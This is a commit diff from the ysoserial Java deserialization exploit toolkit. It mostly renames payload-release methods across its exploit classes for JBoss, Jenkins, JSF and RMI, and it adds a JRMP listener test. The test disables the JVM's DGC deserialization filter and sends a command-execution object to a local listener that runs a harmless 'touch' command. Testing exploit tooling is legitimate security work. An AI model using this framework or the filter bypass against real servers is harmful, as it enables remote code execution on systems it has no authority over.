jrmp listener test case

This commit is contained in:
Chris Frohoff
2022-05-09 21:04:00 -07:00
parent c6a0123f0b
commit 8804dcb1dd
22 changed files with 210 additions and 96 deletions
+1 -1
View File
@@ -34,7 +34,7 @@ public class GeneratePayload {
final Object object = payload.getObject(command); final Object object = payload.getObject(command);
PrintStream out = System.out; PrintStream out = System.out;
Serializer.serialize(object, out); Serializer.serialize(object, out);
ObjectPayload.Utils.releasePayload(payload, object); ObjectPayload.Utils.postSerializeRelease(payload, object);
} catch (Throwable e) { } catch (Throwable e) {
System.err.println("Error while generating or serializing payload"); System.err.println("Error while generating or serializing payload");
e.printStackTrace(); e.printStackTrace();
+1 -1
View File
@@ -124,7 +124,7 @@ public class JBoss {
} }
doRun(u, payloadObject, username, password); doRun(u, payloadObject, username, password);
Utils.releasePayload(args[1], payloadObject); Utils.postSerializeRelease(args[1], payloadObject);
} }
@@ -49,7 +49,7 @@ public class JRMPClient {
catch ( Exception e ) { catch ( Exception e ) {
e.printStackTrace(System.err); e.printStackTrace(System.err);
} }
Utils.releasePayload(args[2], payloadObject); Utils.postSerializeRelease(args[2], payloadObject);
} }
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException { public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
@@ -122,7 +122,7 @@ public class JRMPListener implements Runnable {
System.err.println("Listener error"); System.err.println("Listener error");
e.printStackTrace(System.err); e.printStackTrace(System.err);
} }
Utils.releasePayload(args[1], payloadObject); Utils.postSerializeRelease(args[1], payloadObject);
} }
+1 -1
View File
@@ -71,7 +71,7 @@ public class JSF {
catch ( Exception e ) { catch ( Exception e ) {
e.printStackTrace(System.err); e.printStackTrace(System.err);
} }
Utils.releasePayload(args[1], payloadObject); Utils.postSerializeRelease(args[1], payloadObject);
} }
@@ -67,7 +67,7 @@ public class JenkinsCLI {
} }
} }
} }
Utils.releasePayload(args[1], payloadObject); Utils.postSerializeRelease(args[1], payloadObject);
} }
public static Callable<?, ?> getPropertyCallable ( final Object prop ) public static Callable<?, ?> getPropertyCallable ( final Object prop )
@@ -196,7 +196,7 @@ public class JenkinsListener {
final Object object = payload.getObject(payloadArg); final Object object = payload.getObject(payloadArg);
objOut.writeObject(object); objOut.writeObject(object);
os.flush(); os.flush();
ObjectPayload.Utils.releasePayload(payload, object); ObjectPayload.Utils.postSerializeRelease(payload, object);
} }
catch ( Exception e ) { catch ( Exception e ) {
e.printStackTrace(System.err); e.printStackTrace(System.err);
@@ -7,7 +7,6 @@ import java.rmi.registry.Registry;
import java.util.Random; import java.util.Random;
import hudson.remoting.Channel; import hudson.remoting.Channel;
import ysoserial.exploit.JRMPListener;
import ysoserial.payloads.JRMPClient; import ysoserial.payloads.JRMPClient;
import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.payloads.ObjectPayload.Utils;
@@ -75,6 +74,6 @@ public class JenkinsReverse {
} }
} }
} }
Utils.releasePayload(args[2], payloadObject); Utils.postSerializeRelease(args[2], payloadObject);
} }
} }
@@ -78,7 +78,7 @@ public class RMIRegistryExploit {
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
} }
Utils.releasePayload(payloadObj, payload); Utils.postSerializeRelease(payloadObj, payload);
return null; return null;
}}); }});
} }
@@ -43,7 +43,7 @@ import ysoserial.payloads.util.Reflections;
} ) } )
@PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", precondition = "isApplicableJavaVersion", flaky = "possible race condition") @PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", precondition = "isApplicableJavaVersion", flaky = "possible race condition")
@Authors({ Authors.MBECHLER }) @Authors({ Authors.MBECHLER })
public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> { public class FileUpload1 implements PostSerializeReleasable<DiskFileItem> {
public static boolean isApplicableJavaVersion() { public static boolean isApplicableJavaVersion() {
return JavaVersion.isAtLeast(7); return JavaVersion.isAtLeast(7);
} }
@@ -73,7 +73,7 @@ public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
} }
public void release ( DiskFileItem obj ) throws Exception { public void postSerializeRelease(DiskFileItem obj ) throws Exception {
// otherwise the finalizer deletes the file // otherwise the finalizer deletes the file
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null); DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
Reflections.setFieldValue(obj, "dfos", dfos); Reflections.setFieldValue(obj, "dfos", dfos);
@@ -7,6 +7,7 @@ import java.rmi.server.UnicastRemoteObject;
import sun.rmi.server.ActivationGroupImpl; import sun.rmi.server.ActivationGroupImpl;
import sun.rmi.server.UnicastServerRef; import sun.rmi.server.UnicastServerRef;
import sun.rmi.transport.ObjectTable;
import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
@@ -34,9 +35,9 @@ import ysoserial.payloads.util.Reflections;
@SuppressWarnings ( { @SuppressWarnings ( {
"restriction" "restriction"
} ) } )
@PayloadTest( skip = "This test would make you potentially vulnerable") @PayloadTest(harness="ysoserial.test.payloads.JRMPListenerTest")
@Authors({ Authors.MBECHLER }) @Authors({ Authors.MBECHLER })
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> { public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject>, PostDeserializeReleasable<UnicastRemoteObject> {
public UnicastRemoteObject getObject ( final String command ) throws Exception { public UnicastRemoteObject getObject ( final String command ) throws Exception {
int jrmpPort = Integer.parseInt(command); int jrmpPort = Integer.parseInt(command);
@@ -50,8 +51,13 @@ public class JRMPListener extends PayloadRunner implements ObjectPayload<Unicast
return uro; return uro;
} }
@Override
public void postDeserializeRelease(UnicastRemoteObject obj) throws Exception {
// unexport ref to allow listener thread (and jvm) to exit
ObjectTable.unexportObject(obj, true);
}
public static void main ( final String[] args ) throws Exception { public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(JRMPListener.class, args); UnicastRemoteObject uro = PayloadRunner.run(JRMPListener.class, new String[] { "44444" });
} }
} }
@@ -76,14 +76,14 @@ public interface ObjectPayload <T> {
@SuppressWarnings ( "unchecked" ) @SuppressWarnings ( "unchecked" )
public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception { public static void postSerializeRelease(ObjectPayload payload, Object object ) throws Exception {
if ( payload instanceof ReleaseableObjectPayload ) { if ( payload instanceof PostSerializeReleasable) {
( (ReleaseableObjectPayload) payload ).release(object); ((PostSerializeReleasable) payload).postSerializeRelease(object);
} }
} }
public static void releasePayload ( String payloadType, Object payloadObject ) { public static void postSerializeRelease(String payloadType, Object payloadObject ) {
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
@@ -92,12 +92,17 @@ public interface ObjectPayload <T> {
try { try {
final ObjectPayload payload = payloadClass.newInstance(); final ObjectPayload payload = payloadClass.newInstance();
releasePayload(payload, payloadObject); postSerializeRelease(payload, payloadObject);
} }
catch ( Exception e ) { catch ( Exception e ) {
e.printStackTrace(); e.printStackTrace();
} }
}
public static void postDeserializeRelease(ObjectPayload payload, Object object ) throws Exception {
if ( payload instanceof PostDeserializeReleasable) {
((PostDeserializeReleasable) payload).postDeserializeRelease(object);
}
} }
} }
} }
@@ -0,0 +1,6 @@
package ysoserial.payloads;
public interface PostDeserializeReleasable<T> extends ObjectPayload<T> {
void postDeserializeRelease(T obj) throws Exception;
}
@@ -0,0 +1,5 @@
package ysoserial.payloads;
public interface PostSerializeReleasable<T> extends ObjectPayload<T> {
void postSerializeRelease(T obj ) throws Exception;
}
@@ -1,11 +0,0 @@
package ysoserial.payloads;
/**
* @author mbechler
*
*/
public interface ReleaseableObjectPayload<T> extends ObjectPayload<T> {
void release( T obj ) throws Exception;
}
@@ -49,7 +49,7 @@ import ysoserial.payloads.util.Reflections;
@PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", flaky="possible race condition") @PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", flaky="possible race condition")
@Dependencies({"org.apache.wicket:wicket-util:6.23.0", "org.slf4j:slf4j-api:1.6.4"}) @Dependencies({"org.apache.wicket:wicket-util:6.23.0", "org.slf4j:slf4j-api:1.6.4"})
@Authors({ Authors.JACOBAINES }) @Authors({ Authors.JACOBAINES })
public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> { public class Wicket1 implements PostSerializeReleasable<DiskFileItem> {
public DiskFileItem getObject(String command) throws Exception { public DiskFileItem getObject(String command) throws Exception {
@@ -77,7 +77,7 @@ public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
} }
public void release(DiskFileItem obj) throws Exception { public void postSerializeRelease(DiskFileItem obj) throws Exception {
} }
private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception { private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception {
@@ -2,7 +2,6 @@ package ysoserial.payloads.util;
import java.util.concurrent.Callable; import java.util.concurrent.Callable;
import ysoserial.Deserializer;
import ysoserial.Serializer; import ysoserial.Serializer;
import static ysoserial.Deserializer.deserialize; import static ysoserial.Deserializer.deserialize;
import static ysoserial.Serializer.serialize; import static ysoserial.Serializer.serialize;
@@ -16,30 +15,40 @@ import ysoserial.secmgr.ExecCheckingSecurityManager;
@SuppressWarnings("unused") @SuppressWarnings("unused")
public class PayloadRunner { public class PayloadRunner {
public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception { public static <T> T run(final Class<? extends ObjectPayload<T>> clazz, final String[] args) throws Exception {
return run(clazz, args, false);
}
public static <T> T run(final Class<? extends ObjectPayload<T>> clazz, final String[] args, boolean releasePostDeserialize) throws Exception {
// ensure payload generation doesn't throw an exception // ensure payload generation doesn't throw an exception
byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>(){
public byte[] call() throws Exception {
final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd(); final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();
System.out.println("generating payload object(s) for command: '" + command + "'"); System.out.println("generating payload object(s) for command: '" + command + "'");
ObjectPayload<?> payload = clazz.newInstance(); final ObjectPayload<?> payload = clazz.newInstance();
byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>(){
public byte[] call() throws Exception {
final Object objBefore = payload.getObject(command); final Object objBefore = payload.getObject(command);
System.out.println("serializing payload"); System.out.println("serializing payload");
byte[] ser = Serializer.serialize(objBefore); byte[] ser = Serializer.serialize(objBefore);
Utils.releasePayload(payload, objBefore); Utils.postSerializeRelease(payload, objBefore);
return ser; return ser;
}}); }});
try { try {
System.out.println("deserializing payload"); System.out.println("deserializing payload");
final Object objAfter = Deserializer.deserialize(serialized); T deserialize = (T) deserialize(serialized);
if (releasePostDeserialize) {
Utils.postDeserializeRelease(payload, deserialize);
}
return deserialize;
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
return null;
} }
} }
private static String getDefaultTestCmd() { private static String getDefaultTestCmd() {
@@ -1,9 +1,6 @@
package ysoserial.payloads.util; package ysoserial.payloads.util;
import java.lang.reflect.AccessibleObject; import java.lang.reflect.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import sun.reflect.ReflectionFactory; import sun.reflect.ReflectionFactory;
@@ -32,24 +29,43 @@ public class Reflections {
try { try {
field = clazz.getDeclaredField(fieldName); field = clazz.getDeclaredField(fieldName);
setAccessible(field); setAccessible(field);
} } catch (NoSuchFieldException ex) {
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null) if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName); field = getField(clazz.getSuperclass(), fieldName);
} }
return field; return field;
} }
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { public static void setFieldValue(Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName); Class clazz = obj instanceof Class ? (Class) obj : obj.getClass();
obj = obj instanceof Class ? null : obj;
final Field field = getField(clazz, fieldName);
field.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
field.set(obj, value); field.set(obj, value);
} }
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { public static Object getFieldValue(Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName); Class clazz = obj instanceof Class ? (Class) obj : obj.getClass();
obj = obj instanceof Class ? null : obj;
final Field field = getField(clazz, fieldName);
return field.get(obj); return field.get(obj);
} }
public static Object getFieldValues(Object obj, final String ... fieldNames) throws Exception {
for (String fieldName : fieldNames) {
if (obj == null) {
throw new NullPointerException();
}
obj = getFieldValue(obj, fieldName);
}
return obj;
}
public static Constructor<?> getFirstCtor(final String name) throws Exception { public static Constructor<?> getFirstCtor(final String name) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0]; final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
setAccessible(ctor); setAccessible(ctor);
@@ -28,10 +28,14 @@ public class CommandExecTest implements CustomTest {
@Override @Override
public String getPayloadArgs() { public String getPayloadArgs() {
return getTouchCmd(testFile.toString());
}
public static String getTouchCmd(String file) {
switch (OS.get()) { switch (OS.get()) {
case OSX: case OSX:
case LINUX: return "touch " + testFile; case LINUX: return "touch " + file;
case WINDOWS: return "powershell -command new-item -type file " + testFile; case WINDOWS: return "powershell -command new-item -type file " + file;
default: throw new UnsupportedOperationException("unsupported os"); default: throw new UnsupportedOperationException("unsupported os");
} }
} }
@@ -0,0 +1,66 @@
package ysoserial.test.payloads;
import org.junit.Assert;
import sun.misc.ObjectInputFilter;
import sun.rmi.transport.ObjectTable;
import ysoserial.Strings;
import ysoserial.exploit.JRMPClient;
import ysoserial.payloads.JRMPListener;
import ysoserial.payloads.util.Reflections;
import ysoserial.test.CustomTest;
import ysoserial.test.util.Files;
import ysoserial.test.util.OS;
import java.io.File;
import java.rmi.Remote;
import java.util.Random;
import java.util.concurrent.Callable;
public class JRMPListenerTest implements CustomTest, NeedsAddlClasses {
private final File testFile = new File(OS.getTmpDir(), "ysoserial-test-" + Strings.randUUID());
private final int port = 16000 + new Random().nextInt(16000);
@Override
public void run(Callable<Object> payload) throws Exception {
Assert.assertFalse("test file shouldn't exist", testFile.exists());
// disable ObjectInputFilter
Reflections.setFieldValue(Class.forName("sun.rmi.transport.DGCImpl"), "dgcFilter", new Filter());
// open listener
Remote res = (Remote) payload.call();
try {
// send payload
JRMPClient.makeDGCCall("localhost", port, new TestHarnessTest.ExecMockSerializable(CommandExecTest.getTouchCmd(testFile.toString())));
Files.waitForFile(testFile, 5000);
Assert.assertTrue("test file should exist", testFile.exists());
} finally {
// close listener
// TODO move to postDeserRelease
ObjectTable.unexportObject(res, true);
}
}
@Override
public String getPayloadArgs() {
return "" + port;
}
public static void main(String[] args) throws Exception {
PayloadsTest.testPayload(JRMPListener.class, new Class[0]);
}
public Class[] getAddlClasses() {
return new Class[] { TestHarnessTest.ExecMockSerializable.class };
}
public static class Filter implements ObjectInputFilter {
@Override
public Status checkInput(FilterInfo filterInfo) {
return Status.ALLOWED;
}
}
}
@@ -0,0 +1,5 @@
package ysoserial.test.payloads;
public interface NeedsAddlClasses {
public Class[] getAddlClasses();
}
@@ -7,10 +7,7 @@ import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.net.MalformedURLException; import java.net.MalformedURLException;
import java.net.URL; import java.net.URL;
import java.util.Arrays; import java.util.*;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import java.util.concurrent.Callable; import java.util.concurrent.Callable;
import org.jboss.shrinkwrap.resolver.api.maven.Maven; import org.jboss.shrinkwrap.resolver.api.maven.Maven;
@@ -25,7 +22,6 @@ import org.junit.runners.Parameterized.Parameters;
import ysoserial.*; import ysoserial.*;
import ysoserial.payloads.DynamicDependencies; import ysoserial.payloads.DynamicDependencies;
import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.test.CustomTest; import ysoserial.test.CustomTest;
import ysoserial.test.CustomDeserializer; import ysoserial.test.CustomDeserializer;
import ysoserial.test.CustomPayloadArgs; import ysoserial.test.CustomPayloadArgs;
@@ -75,7 +71,7 @@ public class PayloadsTest {
} }
public static void testPayload(final Class<? extends ObjectPayload<?>> payloadClass, final Class<?>[] addlClassesForClassLoader) public static void testPayload(final Class<? extends ObjectPayload<?>> payloadClass, Class<?>[] addlClassesForClassLoader)
throws Exception { throws Exception {
System.out.println("Testing payload: " + payloadClass.getName()); System.out.println("Testing payload: " + payloadClass.getName());
@@ -123,6 +119,13 @@ public class PayloadsTest {
customDeserializer = ((CustomDeserializer)testHarness).getCustomDeserializer(); customDeserializer = ((CustomDeserializer)testHarness).getCustomDeserializer();
} }
if (testHarness instanceof NeedsAddlClasses) {
List<Class> classes = new LinkedList<Class>();
classes.addAll(Arrays.asList(addlClassesForClassLoader));
classes.addAll(Arrays.asList(((NeedsAddlClasses) testHarness).getAddlClasses()));
addlClassesForClassLoader = classes.toArray(new Class[classes.size()]);
}
// TODO per-thread secmgr to enforce no detonation during deserialization // TODO per-thread secmgr to enforce no detonation during deserialization
final byte[] serialized = makeSerializeCallable(payloadClass, payloadCommand).call(); final byte[] serialized = makeSerializeCallable(payloadClass, payloadCommand).call();
Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized, customDeserializer); Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized, customDeserializer);
@@ -157,7 +160,7 @@ public class PayloadsTest {
ObjectPayload<?> payload = payloadClass.newInstance(); ObjectPayload<?> payload = payloadClass.newInstance();
final Object f = payload.getObject(command); final Object f = payload.getObject(command);
byte[] serialized = Serializer.serialize(f); byte[] serialized = Serializer.serialize(f);
ObjectPayload.Utils.releasePayload(payload, f); ObjectPayload.Utils.postSerializeRelease(payload, f);
return serialized; return serialized;
} }
}; };
@@ -246,6 +249,7 @@ public class PayloadsTest {
// .workOffline(JavaVersion.getLocalVersion().major == 6) // use cached deps for java 1.6 // .workOffline(JavaVersion.getLocalVersion().major == 6) // use cached deps for java 1.6
.withRemoteRepo("central", "https://repo1.maven.org/maven2/", "default") .withRemoteRepo("central", "https://repo1.maven.org/maven2/", "default")
.withMavenCentralRepo(false) .withMavenCentralRepo(false)
.useLegacyLocalRepo(true)
// .withRemoteRepo("jenkins", "https://repo.jenkins-ci.org/public/", "default") // .withRemoteRepo("jenkins", "https://repo.jenkins-ci.org/public/", "default")
.resolve(dependencies).withoutTransitivity().asFile() .resolve(dependencies).withoutTransitivity().asFile()
: new File[0]; : new File[0];